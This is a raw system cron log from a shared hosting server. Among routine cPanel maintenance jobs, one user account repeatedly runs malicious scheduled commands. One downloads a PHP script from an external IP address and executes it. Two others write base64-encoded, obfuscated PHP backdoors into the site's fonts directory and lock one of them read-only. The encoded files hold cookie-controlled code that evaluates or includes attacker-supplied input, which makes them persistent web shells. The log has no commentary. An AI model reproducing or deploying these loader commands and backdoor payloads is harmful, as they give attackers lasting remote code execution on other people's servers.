Sep 20 05:50:01 ip-184-168-122-23 CROND[8723]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:50:01 ip-184-168-122-23 CROND[8724]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 05:50:01 ip-184-168-122-23 CROND[8722]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 05:50:01 ip-184-168-122-23 CROND[8721]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 05:50:01 ip-184-168-122-23 CROND[8719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:51:01 ip-184-168-122-23 CROND[9100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:51:01 ip-184-168-122-23 CROND[9101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:51:01 ip-184-168-122-23 CROND[9103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:51:01 ip-184-168-122-23 CROND[9102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:52:01 ip-184-168-122-23 CROND[9524]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:52:01 ip-184-168-122-23 CROND[9525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:52:01 ip-184-168-122-23 CROND[9530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:52:01 ip-184-168-122-23 CROND[9529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:52:01 ip-184-168-122-23 CROND[9531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:53:01 ip-184-168-122-23 CROND[9814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:53:01 ip-184-168-122-23 CROND[9815]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:53:01 ip-184-168-122-23 CROND[9816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:53:01 ip-184-168-122-23 CROND[9817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:54:01 ip-184-168-122-23 CROND[10053]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:54:01 ip-184-168-122-23 CROND[10054]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:54:01 ip-184-168-122-23 CROND[10056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:54:01 ip-184-168-122-23 CROND[10057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:54:01 ip-184-168-122-23 CROND[10059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:55:01 ip-184-168-122-23 CROND[10289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:55:01 ip-184-168-122-23 CROND[10290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:55:01 ip-184-168-122-23 CROND[10294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 05:55:01 ip-184-168-122-23 CROND[10292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:55:01 ip-184-168-122-23 CROND[10298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:55:01 ip-184-168-122-23 CROND[10299]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 05:56:01 ip-184-168-122-23 CROND[10605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:56:01 ip-184-168-122-23 CROND[10608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:56:01 ip-184-168-122-23 CROND[10609]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:56:01 ip-184-168-122-23 CROND[10607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:56:01 ip-184-168-122-23 CROND[10610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:57:01 ip-184-168-122-23 CROND[10853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:57:01 ip-184-168-122-23 CROND[10855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:57:01 ip-184-168-122-23 CROND[10856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:57:01 ip-184-168-122-23 CROND[10857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:58:01 ip-184-168-122-23 CROND[11068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:58:01 ip-184-168-122-23 CROND[11069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 05:58:01 ip-184-168-122-23 CROND[11070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:58:01 ip-184-168-122-23 CROND[11075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:58:01 ip-184-168-122-23 CROND[11076]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 05:59:01 ip-184-168-122-23 CROND[11280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 05:59:01 ip-184-168-122-23 CROND[11282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 05:59:01 ip-184-168-122-23 CROND[11283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 05:59:01 ip-184-168-122-23 CROND[11284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:00:01 ip-184-168-122-23 CROND[11546]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 06:00:01 ip-184-168-122-23 CROND[11548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:00:01 ip-184-168-122-23 CROND[11551]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:00:01 ip-184-168-122-23 CROND[11553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:00:01 ip-184-168-122-23 CROND[11555]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 06:00:01 ip-184-168-122-23 CROND[11557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:00:01 ip-184-168-122-23 CROND[11564]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep 20 06:00:01 ip-184-168-122-23 CROND[11563]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 06:00:01 ip-184-168-122-23 CROND[11565]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 20 06:00:01 ip-184-168-122-23 CROND[11562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:01:02 ip-184-168-122-23 CROND[11960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:01:02 ip-184-168-122-23 CROND[11963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:01:02 ip-184-168-122-23 CROND[11962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:01:02 ip-184-168-122-23 CROND[11966]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 06:01:02 ip-184-168-122-23 CROND[11964]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 06:01:02 ip-184-168-122-23 CROND[11965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11966]: starting 0anacron
Sep 20 06:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11982]: finished 0anacron
Sep 20 06:02:01 ip-184-168-122-23 CROND[12230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:02:01 ip-184-168-122-23 CROND[12233]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:02:01 ip-184-168-122-23 CROND[12234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
